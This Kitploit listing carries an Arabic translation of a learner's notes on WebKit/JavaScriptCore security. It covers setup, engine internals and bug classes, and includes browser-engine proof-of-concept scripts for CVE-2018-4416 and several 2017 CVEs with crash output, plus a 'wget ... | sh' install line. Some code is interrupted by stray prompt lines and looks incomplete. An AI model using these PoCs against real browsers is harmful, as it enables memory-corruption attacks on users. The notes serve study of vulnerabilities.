Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2018-4416-exploit — استغلال ثغرة CVE في WebKit jsc CVE-2018-4416 | Kitploit
أدوات/GitHubGitHub/erupmi/cve-2018-4416-exploit
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالأوراق والأبحاثالتعلم والتعليممسارات ودورات التعلماستغلال الملفات الثنائية
GitHuberupmi/cve-2018-4416-exploit

CVE-2018-4416-exploit

استغلال ثغرة CVE في WebKit jsc CVE-2018-4416

عرض المستودع
93منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
  • مقدمة :PROPERTIES: :CUSTOM_ID: preface :END: حسنًا، أمن الثنائيات ليس فقط /heap/ و /stack/، ما زال لدينا الكثير لاكتشافه رغم تحديات CTF المعتادة. المتصفح والآلة الافتراضية والنواة كلها تلعب دورًا مهمًا في أمن الثنائيات. وقررت أن أدرس المتصفح أولاً.

اخترت واحدًا سهلًا نسبيًا: /WebKit/. (قد يكون ChakraCore أسهل، LoL. لكن توجد شائعة عن إلغاء مشروع مايكروسوفت. لذلك قررت ألا أختاره).

سأكتب سلسلة من المنشورات لتسجيل ملاحظاتي في دراسة أمن /WebKit/. إنها أيضًا أول مرة أتعلم فيها أمن المتصفح، ومنشوراتي على الأرجح ستحتوي على الكثير من الأخطاء. إذا لاحظتها، فلا تتردد في التواصل معي للتصحيح.

قبل قراءته، تحتاج إلى معرفة: - قواعد C++ - قواعد لغة التجميع - تثبيت الآلة الافتراضية - الإلمام بنظام Ubuntu وسطر أوامره - المفاهيم الأساسية لنظرية الترجمة


  • الإعداد :PROPERTIES: :CUSTOM_ID: setup :END: حسنًا، لنبدأ الآن.

** الآلة الافتراضية :PROPERTIES: :CUSTOM_ID: virtual-machine :END: أولاً، نحتاج إلى تثبيت VM كهدف اختبار. هنا، اخترت /Ubuntu 18.04 LTS/ و /Ubuntu 16.04 LTS/ كأنظمة مضيفة. يمكنك التنزيل [[https://www.ubuntu.com/][هنا]]. إذا لم أحدد الإصدار، فيرجى استخدام 18.04 LTS كإصدار افتراضي.

قد يكون Mac خيارًا أكثر ملاءمة لأنه يحتوي على XCode و Safari. بالنظر إلى الاستهلاك العالي للموارد والتحديثات غير المستقرة لنظام MacOS، أفضل استخدام Ubuntu.

نحتاج إلى برنامج VM. أفضل استخدام [[https://www.vmware.com/][VMWare]]. Parallel Desktop و VirtualBox (مجاني) جيدان أيضًا، الأمر يعتمد على عادتك الشخصية.

لن أخبرك بكيفية تثبيت Ubuntu على VMWare خطوة بخطوة. ومع ذلك، ما زلت بحاجة إلى تذكيرك بتخصيص أكبر قدر ممكن من الذاكرة ووحدات المعالجة لأن عملية الترجمة تستهلك كمية هائلة من الموارد. قرص بسعة 80GB يجب أن يكون كافيًا لتخزين الكود المصدري والملفات المترجمة.

** كود المصدر :PROPERTIES: :CUSTOM_ID: source-code :END: يمكنك تنزيل كود مصدر WebKit بثلاث طرق: [[https://github.com/WebKit/webkit][/git/]]، و /svn/، و [[https://webkit.org/getting-the-code/][/archive/]].

مدير الإصدارات الافتراضي لـ WebKit هو svn. لكنني اخترت git (غير معتاد جدًا على استخدام svn):

#+begin_example git clone git://git.webkit.org/WebKit.git WebKit #+end_example

** المصحح والمحرر :PROPERTIES: :CUSTOM_ID: debugger-and-editor :END: IDE يستهلك الكثير من الموارد، لذلك أستخدم vim لتحرير الكود المصدري.

معظم أعمال التصحيح التي رأيتها تستخدم lldb الذي لست معتادًا عليه. لذلك، قمت أيضًا بتثبيت gdb مع إضافة gef.

#+begin_src shell sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #+end_src

** اختبار :PROPERTIES: :CUSTOM_ID: test :END: *** ترجمة JavaScriptCore :PROPERTIES: :CUSTOM_ID: compiling-javascriptcore :END: ترجمة WebKit كامل تستغرق قدرًا كبيرًا من الوقت. نحن نترجم حاليًا JSC (JavaScript Core) فقط، حيث تأتي معظم الثغرات.

الآن، يجب أن تكون في الدليل الجذر لكود مصدر WebKit. نفّذ هذا لتجهيز التبعيات:

#+begin_src shell Tools/gtk/install-dependencies #+end_src

على الرغم من أننا لم نترجم WebKit كاملًا بعد، يمكنك تثبيت التبعيات المتبقية أولاً للاختبارات المستقبلية. هذه الخطوة غير مطلوبة في ترجمة JSC إذا كنت لا تريد قضاء وقت طويل:

#+begin_src shell Tools/Scripts/update-webkitgtk-libs #+end_src

بعد ذلك، يمكننا ترجمة JSC:

#+begin_src shell Tools/Scripts/build-webkit --jsc-only #+end_src

بعد دقائق قليلة، يمكننا تشغيل JSC بواسطة:

#+begin_src shell WebKitBuild/Release/bin/jsc #+end_src

لنقم ببعض الاختبارات:

#+begin_example

1+1 2 var obj = {a:1, b:"test"} undefined JSON.stringify(obj) {"a":1,"b":"test"} #+end_example

*** استدعاء الأخطاء :PROPERTIES: :CUSTOM_ID: triggering-bugs :END:

#+begin_quote Ubuntu 18.04 LTS هنا #+end_quote

نستخدم [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1652][CVE-2018-4416]] للاختبار، إليك الـ PoC. احفظه في =poc.js= في نفس المجلد الخاص بـ =جsc=:

#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {

root@kitploit:~
  }

  let tmp = {a: 1};

  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {  // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
      tmp.__proto__ = {};

      gc();

      obj.__proto__ = {};  // The structure ID of "obj" equals to tmp's.

      return obj[k];  // Type confusion.
  }

}

opt({});

let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;

let fake_object = opt(fake_object_memory); print(fake_object); #+end_example

أولاً، بدّل إلى الإصدار الضعيف:

#+begin_example git checkout -b CVE-2018-4416 034abace7ab #+end_example

#+begin_quote قد يستغرق وقتًا أطول من الترجمة #+end_quote

شغّل: =./jsc poc.js=، وسنحصل على:

#+begin_example ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) #+end_example

إذا قمنا بتشغيل هذا على أحدث إصدار (=git checkout master= للعودة، وحذف محتوى البناء =rm -rf WebKitBuild/Relase/= و =rm -rf WebKitBuild/Debug/=):

#+begin_example ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined

================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 96 byte(s) in 3 object(s) allocated from: #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8) #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex,

... // lots of error message

SUMMARY: AddressSanitizer: 216 byte(s) leaked in 6 allocation(s). #+end_example

الآن، نجحنا في استدعاء خطأ!

لن أشرح التفاصيل (لا أعرفها أيضًا). آمل أن نتمكن من اكتشاف السبب الجذري بعد بضعة أسابيع


  • فهم ثغرات WebKit :PROPERTIES: :CUSTOM_ID: understanding-webkit-vulnerability :END: الآن، حان الوقت لمناقشة شيء أعمق. قبل أن نبدأ الحديث عن بنية WebKit، دعنا نكتشف الأخطاء الشائعة في WebKit.

هنا، أناقش فقط الأخطاء المتعلقة بمستوى الثنائيات. بعض الأخطاء عالية المستوى، مثل /URL Spoof/ أو /UXSS/، ليست موضوعنا. الأمثلة أدناه ليست من WebKit فقط. بعضها أخطاء من Chrome. سنقدمها بإيجاز. وسنحلل الـ PoC بالتفصيل لاحقًا.

قبل قراءة هذا الجزء، يُنصح بشدة بقراءة بعض المواد حول نظرية المترجمات. يجب أيضًا تعلم المعرفة الأساسية بـ Pwn. شرحي ليس واضحًا. مرة أخرى، صحح أخطائي إذا وجدتها.

سيتم تحديث هذا المنشور عدة مرات كلما تعمق فهمي في JSC. لا تنسَ مراجعته لاحقًا.

** 1. الاستخدام بعد التحرير :PROPERTIES: :CUSTOM_ID: use-after-free :END: المعروف أيضًا باسم =UAF=. هذا شائع في تحديات CTF، سيناريو كلاسيكي:

#+begin_src C char* a = malloc(0x100); free(a); printf("%s", a); #+end_src

بسبب بعض الأخطاء المنطقية، سيعيد الكود استخدام الذاكرة المحررة. عادةً، يمكننا تسريب الذاكرة أو الكتابة عليها بمجرد التحكم في الذاكرة المحررة.

CVE-2017-13791 هو مثال على UAF في WebKit. إليك الـ PoC:

#+begin_example

a b #+end_example

** 2. خارج الحدود :PROPERTIES: :CUSTOM_ID: out-of-bound :END: المعروف أيضًا باسم =OOB=. إنه يشبه التجاوز في المتصفح. ما زلنا نستطيع القراءة/الكتابة في الذاكرة المجاورة. يحدث =OOB= بشكل متكرر نتيجة تحسين خاطئ لمصفوفة أو فحص غير كافٍ. على سبيل المثال ([[https://bugs.chromium.org/p/project-zero/issues/detail?id=1033][CVE-2017-2447]]):

#+begin_example var ba; function s(){ ba = this; }

function dummy(){ alert("just a function"); }

Object.defineProperty(Array.prototype, "0", {set : s }); var f = dummy.bind({}, 1, 2, 3, 4); ba.length = 100000; f(1, 2, 3); #+end_example

#+begin_quote عند استدعاء Function.bind، يتم نقل وسائط الاستدعاء إلى مصفوفة قبل تمريرها إلى JSBoundFunction::JSBoundFunction. نظرًا لأنه من الممكن أن يكون قد تمت إضافة setter إلى نموذج Array، فمن الممكن لسكربت المستخدم الحصول على مرجع لهذه المصفوفة، وتعديلها بحيث يكون الطول أطول من مصفوفة الفراشة الأصلية الداعمة. ثم عندما يحاول boundFunctionCall نسخ هذه المصفوفة إلى معاملات الاستدعاء، يفترض أن الطول ليس أطول من المصفوفة المخصصة (وهو سيكون صحيحًا لو لم يتم تعديلها) ويقرأ خارج الحدود. #+end_quote

في معظم الحالات، لا يمكننا الكتابة مباشرة فوق سجل =$RIP=. كتّاب الاستغلال دائمًا ما يصنعون مصفوفة مزيفة لتحويل القراءة/الكتابة الجزئية إلى قراءة/كتابة عشوائية.

** 3. خلط الأنواع :PROPERTIES: :CUSTOM_ID: type-confusion :END: إنها ثغرة خاصة تحدث في التطبيقات التي تحتوي على مترجم. وهذه الثغرة صعبة الشرح بعض الشيء.

تخيل أن لدينا الكائن التالي (32 بت):

#+begin_src C struct example{ int length; char *content; } #+end_src

ثم، إذا كان لدينا كائن بطول =length= == =5= مع مؤشر =content= في الذاكرة، فمن المحتمل أن يظهر هكذا:

#+begin_example 0x00: 0x00000005 -> length 0x04: 0xdeadbeef -> pointer #+end_example

عندما يكون لدينا كائن آخر:

#+begin_src C struct exploit{ int length; void (*exp)(); } #+end_src

يمكننا إجبار المترجم على تحليل كائن =example= ككائن =exploit=. يمكننا تحويل دالة =exp= إلى عنوان عشوائي وتحقيق تنفيذ تعسفي (RCE).

مثال على خلط الأنواع:

#+begin_example var q; function g(){ q = g.caller; return 7; }

var a = [1, 2, 3]; a.length = 4; Object.defineProperty(Array.prototype, "3", {get : g}); [4, 5, 6].concat(a); q(0x77777777, 0x77777777, 0); #+end_example

مأخوذ من [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1032][CVE-2017-2446]]

#+begin_quote إذا كان سكربت مدمج في webkit في الوضع الصارم، لكنه يستدعي دالة غير صارمة، فيُسمح لهذه الدالة باستدعاء Function.caller ويمكنها الحصول على مرجع إلى الدالة الصارمة. #+end_quote

** 4. تجاوز الأعداد الصحيحة :PROPERTIES: :CUSTOM_ID: integer-overflow :END: تجاوز الأعداد الصحيحة شائع أيضًا في CTF. على الرغم من أن تجاوز الأعداد الصحيحة بحد ذاته لا يؤدي إلى RCE، إلا أنه ربما يؤدي إلى =OOB=.

ليس من الصعب فهم هذه الثغرة. تخيل أنك تشغّل الكود التالي على جهاز 32 بت:

#+begin_example mov eax, 0xffffffff add eax, 2 #+end_example

لأن الحد الأقصى لـ =eax= هو =0xffffffff=. لا يمكنه استيعاب =0xffffffff= + =2= = =0x100000001=. وبالتالي، سيتم تجاوز البايت الأعلى (حذفه). النتيجة النهائية لـ =eax= هي =0x00000001=.

هذا مثال من WebKit([[https://phoenhex.re/2017-06-02/arrayspread][CVE-2017-2536]]):

#+begin_example var a = new Array(0x7fffffff); var x = [13, 37, ...a, ...a]; #+end_example

#+begin_quote لا يتم فحص الطول بشكل صحيح، مما يسمح لنا بتجاوز الطول عبر توسيع مصفوفة إلى المصفوفة القديمة. بعد ذلك، يمكننا استخدام المصفوفة الموسعة للوصول إلى =OOB=. #+end_quote

** 5. أخرى :PROPERTIES: :CUSTOM_ID: else :END: بعض الأخطاء يصعب تصنيفها: - حالة سباق - ذاكرة غير مخصصة - ...

سأشرحها بالتفصيل لاحقًا.


  • JavaScriptCore بعمق :PROPERTIES: :CUSTOM_ID: javascriptcore-in-depth :END: يشمل Webkit بشكل أساسي: - JavaScriptCore: محرك تنفيذ JavaScript
  • WTF: /مكتبة القوالب للويب/، بديل لمكتبة C++ STL. وهو يحتوي على عمليات السلاسل، المؤشرات الذكية، إلخ. عملية الكومة (heap) فريدة أيضًا هنا. - DumpRenderTree: ينتج =RenderTree= - WebCore: الجزء الأكثر تعقيدًا. يحتوي على CSS وDOM وHTML والتخطيط وغير ذلك. تقريبًا كل جزء من المتصفح باستثناء المكونات المذكورة أعلاه.

ولدى JSC ما يلي: - lexer - parser - المفسّر البدئي (LLInt) - ثلاثة مترجمات JIT لجافا سكريبت، وقت الترجمة يزداد تدريجيًا لكن التنفيذ يزداد سرعة: + baseline JIT، مترجم JIT الأول + مترجم JIT منخفض التأخير (DFG) + مترجم JIT عالي الإنتاجية (FTL)، المرحلة الأخيرة من JIT - محركان لتنفيذ WebAssembly: + BBQ + OMG

#+begin_quote ما زال إخلاء مسؤولية، هذا المنشور قد يكون غير دقيق أو خاطئًا في شرح آليات WebKit #+end_quote

إذا كنت قد تعلمت دورات نظرية الترجمة الأساسية، فإن lexer و parser مألوفان كما يُدرَّس في الفصول. لكن جزء توليد الكود محبط. لديه مفسّر واحد وثلاثة مترجمين، WTF؟ لدى JSC أيضًا العديد من الميزات غير التقليدية الأخرى، دعنا نلقي نظرة:

** تمثيل القيم في JSC :PROPERTIES: :CUSTOM_ID: jsc-value-representation :END: لتسهيل التحديد، تمثل JSC القيم بشكل مختلف: - pointer : =0000:PPPP:PPPP:PPPP= (يبدأ بـ 0000، ثم عنوانه) - double (يبدأ بـ 0001 أو FFFE): + =0001:::= + =FFFE:::= - integer: =FFFF:0000:IIII:IIII= (يستخدم =IIII:IIII= لتخزين القيمة) - false: =0x06= - true: =0x07= - undefined: =0x0a= - null: =0x02=

=0x0=، مع ذلك، ليست قيمة صالحة ويمكن أن تؤدي إلى انهيار.

** نموذج الكائنات في JSC :PROPERTIES: :CUSTOM_ID: jsc-object-model :END: على عكس Java، التي تحتوي على أعضاء ثابتة في الفئة، تسمح JavaScript للأشخاص بإضافة الخصائص في أي وقت.

لذلك، على الرغم من المحاذاة الثابتة للخصائص تقليديًا، تمتلك JSC مؤشر فراشة لإضافة الخصائص الديناميكية. إنه يشبه مصفوفة إضافية. دعنا نشرح ذلك في عدة حالات.

أيضًا، سيتم دائمًا تخصيص JSArray إلى مؤشر الفراشة نظرًا لأنها تتغير ديناميكيًا.

يمكننا فهم المفهوم بسهولة من خلال الرسم البياني التالي:

*** 0x0 كائن JSObject سريع :PROPERTIES: :CUSTOM_ID: x0-fast-jsobject :END: الخصائص مهيأة:

#+begin_example var o = {f: 5, g: 6}; #+end_example

سيكون مؤشر الفراشة فارغًا هنا لأن لدينا فقط خصائص ثابتة:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| NULL | --> Butterfly Pointer

| 0xffff000 | --> 5 in JS format | 000000005 |

| 0xffff000 | | 000000006 | --> 6 in JS format

#+end_example

دعنا نوسع معرفتنا بـ JSObject. كما نرى، لكل =structure ID= جدول بنية مطابق. داخل الجدول، يحتوي على أسماء الخصائص وإزاحاتها. في كائننا السابق =o=، يبدو الجدول هكذا:

| اسم الخاصية | الموقع | |---------------+-----------| | "f" | inline(0) | | "g" | inline(1) |

عندما نريد استرجاع قيمة (مثل =var v = o.f=)، ستحدث السلوكيات التالية:

#+begin_src cpp if (o->structureID == 42) v = o->inlineStorage[0] else v = slowGet(o, “f”) #+end_src

قد تتساءل لماذا سيسترد المترجم القيمة مباشرة عبر الإزاحة عندما يعلم أن =ID= هو =42=. هذه آلية تسمى التخزين المؤقت المضمن، والتي تساعدنا على الحصول على القيمة بشكل أسرع. لن نتحدث عن هذا كثيرًا، [[http://www.filpizlo.com/slides/pizlo-icooolps2018-inline-caches-slides.pdf][انقر هنا]] لمزيد من التفاصيل.

*** 0x1 JSObject مع حقول مضافة ديناميكيًا :PROPERTIES: :CUSTOM_ID: x1-jsobject-with-dynamically-added-fields :END: #+begin_example var o = {f: 5, g: 6}; o.h = 7; #+end_example

الآن، يحتوي الفراشة على خانة، وهي 7.

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 0xffff000 | | 0xffff000 | | | 000000007 | | 000000005 | | ------------- -------------- -> | ... | | 0xffff000 | | 000000006 |

#+end_example

*** 0x2 JSArray مع مساحة لثلاثة عناصر مصفوفة :PROPERTIES: :CUSTOM_ID: x2-jsarray-with-room-for-3-array-elements :END: #+begin_example var a = []; #+end_example

يقوم الفراشة بتهيئة مصفوفة بحجم تقديري. العنصر الأول =0= يعني عدد الخانات المستخدمة. و =3= تعني الحد الأقصى للخانات:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 0 | | ------------- (8 bits for these two elements) | | 3 | -> ------------- | | ------------- | | ------------- | | ------------- #+end_example

*** 0x3 كائن بخصائص سريعة وعناصر مصفوفة :PROPERTIES: :CUSTOM_ID: x3-object-with-fast-properties-and-array-elements :END: #+begin_example var o = {f: 5, g: 6}; o[0] = 7; #+end_example

لقد ملأنا عنصرًا من المصفوفة، لذا يزداد =0= (الخانات المستخدمة) إلى =1= الآن:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 1 | | 0xffff000 | | ------------- | 000000005 | | | 3 | -------------- -> ------------- | 0xffff000 | | 0xffff000 | | 000000006 | | 000000007 |


root@kitploit:~
                 |   <hole>  |
                 -------------
                 |   <hole>  |
                 -------------

#+end_example*** 0x4 كائن بخصائص سريعة وديناميكية وعناصر مصفوفة :PROPERTIES: :CUSTOM_ID: x4-object-with-fast-and-dynamic-properties-and-array-elements :END: #+begin_example var o = {f: 5, g: 6}; o[0] = 7; o.h = 8; #+end_example

سيتم إلحاق العضو الجديد قبل عنوان المؤشر. تُوضع المصفوفات على اليمين والخصائص (attributes) على يسار مؤشر الفراشة (butterfly pointer)، تماماً مثل جناح الفراشة:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 0xffff000 | | 0xffff000 | | | 000000008 | | 000000005 | | ------------- -------------- | | 1 | | 0xffff000 | | ------------- | 000000006 | | | 2 | -------------- -> ------------- (pointer address) | 0xffff000 | | 000000007 | ------------- | | ------------- #+end_example

*** 0x5 كائن استثنائي بخصائص ديناميكية وعناصر مصفوفة :PROPERTIES: :CUSTOM_ID: x5-exotic-object-with-dynamic-properties-and-array-elements :END: #+begin_example var o = new Date(); o[0] = 7; o.h = 8; #+end_example

نقوم بتوسيع الفراشة بفئة مدمجة (built-in class)، ولن تتغير الخصائص الثابتة:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 0xffff000 | | < C++ | | | 000000008 | | State > | -> ------------- -------------- | 1 | | < C++ | ------------- | State > | | 2 |


root@kitploit:~
                 | 0xffff000 |
                 | 000000007 |
                 -------------
                 |   <hole>  |
                 -------------

#+end_example

** استدلال الأنواع (Type Inference) :PROPERTIES: :CUSTOM_ID: type-inference :END: JavaScript لغة ذات أنواع ضعيفة وديناميكية. سيقوم المترجم بقدر كبير من العمل في استدلال الأنواع، مما يجعله معقداً للغاية.

*** نقاط المراقبة (Watchpoints) :PROPERTIES: :CUSTOM_ID: watchpoints :END: يمكن أن تحدث نقاط المراقبة في الحالات التالية: - haveABadTime - انتقال البنية (Structure transition) - InferredValue - InferredType - وغيرها الكثير...

عند حدوث الحالات المذكورة أعلاه، سيتحقق مما إذا كانت نقطة المراقبة قد أُبطلت. في WebKit، يتم تمثيل ذلك على النحو التالي:

#+begin_src cpp class Watchpoint { public: virtual void fire() = 0; }; #+end_src

على سبيل المثال، إذا أراد المترجم تحسين =42.toString()= إلى ="42"= (إرجاع القيمة مباشرةً بدلاً من استخدام كود للتحويل)، فسيتحقق مما إذا كانت قد أُبطلت بالفعل. بعد ذلك، إذا كانت صالحة، يسجّل نقطة مراقبة وينفذ التحسين.

** المترجمات (Compilers) :PROPERTIES: :CUSTOM_ID: compilers :END: *** 0x0. LLInt :PROPERTIES: :CUSTOM_ID: x0.-llint :END: في البداية، سيولّد المفسِّر قالب البايت كود (byte code template). استخدم JVM كمثال لتنفيذ ملف =.class=، وهو نوع آخر من قالب البايت كود. يساعد البايت كود على تسهيل التنفيذ:

#+begin_example parser -> bytecompiler -> generatorfication -> bytecode linker -> LLInt #+end_example

*** 0x1. Baseline JIT وقالب البايت كود (Byte Code Template) :PROPERTIES: :CUSTOM_ID: x1.-baseline-jit-and-byte-code-template :END: أبسط JIT، سينشئ =byte code template= هنا. على سبيل المثال، هذه هي دالة /add/ في JavaScript:

#+begin_example function foo(a, b) { return a + b; } #+end_example

هذا هو IL الخاص بالبايت كود، وهو أكثر مباشرةً دون الحاجة إلى تحليل معجمي معقد وأسهل للتحويل إلى asm:

#+begin_example [ 0] enter [ 1] get_scope loc3 [ 3] mov loc4, loc3 [ 6] check_traps [ 7] add loc6, arg1, arg2 [12] ret loc6 #+end_example

يمكن أن ينتج المقطع البرمجي =7= و =12= IL التالي لـ DFG (والذي سنتحدث عنه بعد قليل). يمكننا ملاحظة أنه يحتوي على الكثير من المعلومات المتعلقة بالأنواع أثناء التشغيل. في السطر 4، سيتحقق الكود مما إذا كان النوع المُرجَع متطابقاً:

#+begin_src cpp GetLocal(Untyped:@1, arg1(B/FlushedInt32), R:Stack(6), bc#7); GetLocal(Untyped:@2, arg2(C/FlushedInt32), R:Stack(7), bc#7); ArithAdd(Int32:@23, Int32:@24, CheckOverflow, Exits, bc#7); MovHint(Untyped:@25, loc6, W:SideState, ClobbersExit, bc#7, ExitInvalid); Return(Untyped:@25, W:SideState, Exits, bc#12); #+end_src

تبدو شجرة الـ AST على هذا النحو:

#+begin_example +----------+ | return | +----+-----+ | | +----+-----+ | add | +----------+ | | | | v v +--+---+ +-+----+ | arg1 | | arg2 | +------+ +------+ #+end_example

*** 0x2. DFG :PROPERTIES: :CUSTOM_ID: x2.-dfg :END: إذا اكتشف JSC أن دالة ما تُنفَّذ عدة مرات، فسينتقل إلى المرحلة التالية. لقد ولّدت المرحلة الأولى البايت كود بالفعل. لذلك، يقوم محلّل DFG بتحليل البايت كود مباشرةً، وهو أقل تجريداً وأسهل في التحليل. بعد ذلك، سيقوم DFG بالتحسين وتوليد الكود:

#+begin_example DFG bytecode parser -> DFG optimizer -> DFG Backend #+end_example

في هذه الخطوة، يُنفَّذ الكود عدة مرات؛ ونوعه ثابت نسبياً. سيستخدم فحص النوع آلية OSR.

تخيّل أننا سنحسّن انطلاقاً من هذا:

#+begin_src cpp int foo(int* ptr) { int w, x, y, z; w = ... // lots of stuff

x = is_ok(ptr) ? *ptr : slow_path(ptr); y = ... // lots of stuff z = is_ok(ptr) ? *ptr : slow_path(ptr); return w + x + y + z; } #+end_src

إلى هذا:

#+begin_src cpp int foo(int* ptr) { int w, x, y, z; w = ... // lots of stuff

if (!is_ok(ptr)) return foo_base1(ptr, w); x = *ptr; y = ... // lots of stuff z = *ptr; return w + x + y + z; } #+end_src

سيعمل الكود بشكل أسرع لأن =ptr= سيجري فحص النوع مرة واحدة فقط. إذا كان نوع /ptr/ مختلفاً دائماً، فسيعمل الكود المحسَّن بشكل أبطأ بسبب الخروج المتكرر (bailing out). وبالتالي، فقط عندما يُنفَّذ الكود آلاف المرات، يستخدم المتصفح =OSR= لتحسينه.

*** 0x3. FLT :PROPERTIES: :CUSTOM_ID: x3.-flt :END: عندما تُنفَّذ دالة ما مئة أو آلاف المرات، سيستخدم JIT تقنية FLT. مثل DFG، سيعيد FLT استخدام قالب البايت كود، ولكن مع تحسين أعمق:

#+begin_example DFG bytecode parser -> DFG optimizer -> DFG-to-B3 lowering -> B3 Optimizer -> Instruction Selection -> Air Optimizer -> Air Backend #+end_example

*** 0x4. المزيد حول التحسين :PROPERTIES: :CUSTOM_ID: x4.-more-about-optimization :END: دعنا نلقي نظرة على تغيّر الـ IR في مراحل التحسين المختلفة:

| IR | النمط | مثال | |----------+-------------------------+----------------------------------------------| | Bytecode | تحميل/تخزين عالي المستوى | =bitor dst, left, right= | | DFG | SSA استثنائية متوسطة المستوى | =dst: BitOr(Int32:@left, Int32:@right, ...)= | | B3 | SSA عادية منخفضة المستوى | =Int32 @dst = BitOr(@left, @right)= | | Air | CISC معمارية | =Or32 %src, %dest= |

يتم التخلص من فحص النوع تدريجياً. قد تفهم الآن سبب وجود الكثير من الالتباسات النوعية (type confusions) في ثغرات المتصفحات (CVE). بالإضافة إلى ذلك، أصبحت أكثر تشابهاً مع كود الآلة.

بمجرد فشل فحص النوع، سيعود الكود إلى IR السابق (على سبيل المثال، إذا فشل فحص النوع في مرحلة B3، فسيعود المترجم إلى DFG وينفذ في هذه المرحلة).

** جامع القمامة (Garbage Collector) (TODO) :PROPERTIES: :CUSTOM_ID: garbage-collector-todo :END: تعتمد ذاكرة JSC (heap) على GC. سيكون للكائنات الموجودة في الذاكرة عداد لعدد مراجعها. سيقوم GC بفحص الذاكرة لجمع الذاكرة غير المفيدة.

...لا تزال هناك حاجة إلى المزيد من المواد...


  • كتابة الاستغلال :PROPERTIES: :CUSTOM_ID: writing-exploitation :END: قبل أن نبدأ في استغلال الثغرات، يجب أن ننظر إلى مدى صعوبة كتابة الاستغلال. نحن نركّز هنا على كتابة كود الاستغلال، ولن يتم تقديم تفاصيل الثغرة كثيراً.

هذا التحدي هو WebKid من مسابقة 35c3 CTF. يمكنك تجميع ثنائي WebKit (مع التعليمات)، وتجهيز جهاز افتراضي (VM)، والحصول على كود الاستغلال [[https://github.com/saelo/35c3ctf/tree/master/WebKid][هنا]]. كما يجب تجهيز macOS Mojave (10.14.2) في جهاز افتراضي أو جهاز حقيقي (أعتقد أنه لن يؤثر على الأعطال في إصدارات macOS المختلفة، لكن بدائية الهجوم قد تكون مختلفة).

شغّله عبر هذا الأمر:

#+begin_src shell DYLD_LIBRARY_PATH=/Path/to/WebKid DYLD_FRAMEWORK_PATH=/Path/to/WebKid /Path/to/WebKid/MiniBrowser.app/Contents/MacOS/MiniBrowser #+end_src

#+begin_quote تذكّر استخدام المسار الكامل. وإلا، فسيتعطل المتصفح #+end_quote

إذا كنت تشغّل على جهاز محلي، فتذكّر إنشاء =/flag1= للاختبار.

** التحليل :PROPERTIES: :CUSTOM_ID: analyzing :END: دعنا نلقي نظرة على التصحيح (patch):

